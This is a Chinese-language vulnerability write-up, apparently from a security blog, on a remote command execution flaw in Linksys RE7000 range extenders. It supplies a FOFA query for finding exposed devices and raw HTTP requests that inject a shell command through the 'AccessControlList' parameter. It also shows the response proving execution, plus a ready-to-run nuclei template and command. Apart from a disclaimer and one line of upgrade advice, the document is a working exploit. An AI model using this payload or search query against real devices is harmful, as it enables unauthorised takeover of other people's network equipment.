免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

漏洞名称

Linksys RE7000 远程命令执行漏洞

漏洞影响

Linksys RE7000 v2.0.9、2.0.11和v 2.0.15

漏洞描述

Linksys RE7000 v2.0.9、2.0.11和v 2.0.15在访问控制功能点的“AccessControlList”参数中存在命令执行漏洞。攻击者可以使用此漏洞获取设备管理员权限。

FOFA搜索语句

body="/login.shtml?ran="

漏洞复现

第一步,执行命令,在本地写入一个随机字符串到文件

PUT /goform/AccessControl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 103
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

{"AccessPolicy":"0","AccessControlList":"`echo sEyKvOlYSyQZ>/etc_ro/lighttpd/RE7000_www/FcijtS.txt`"}

第二步,访问上面写入的文件

GET /FcijtS.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

响应内容如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 13
Accept-Ranges: bytes
Content-Type: text/plain
Date: Mon, 22 Apr 2024 02:29:36 GMT
Etag: "-575936322"
Last-Modified: Mon, 22 Apr 2024 02:29:34 GMT
Server: lighttpd/1.4.20

sEyKvOlYSyQZ

漏洞复现成功

nuclei poc

poc文件内容如下


id: CVE-2024-25852

info:
  name: Linksys RE7000 远程命令执行漏洞
  author: fgz
  severity: critical
  description: Linksys RE7000 v2.0.9、2.0.11和v 2.0。15在访问控制功能点的“AccessControlList”参数中存在命令执行漏洞。攻击者可以使用此漏洞获取设备管理员权限。
  metadata:
    max-request: 1
    fofa-query: body="/login.shtml?ran="
    verified: true
variables:
  file: "{{rand_base(6)}}"
  str: "{{rand_base(12)}}"
requests:
  - raw:
      - |+
        PUT /goform/AccessControl HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate, br
        Connection: close
        Upgrade-Insecure-Requests: 1
        
        {"AccessPolicy":"0","AccessControlList":"`echo {{str}}>/etc_ro/lighttpd/RE7000_www/{{file}}.txt`"}

      - |+
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
        Accept-Charset: utf-8
        Accept-Encoding: gzip, deflate
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(body_2, '{{str}}')"
        condition: and

运行POC

nuclei.exe -t mypoc/cve/CVE-2024-25852.yaml -l data\1.txt

修复建议

升级到最新版本。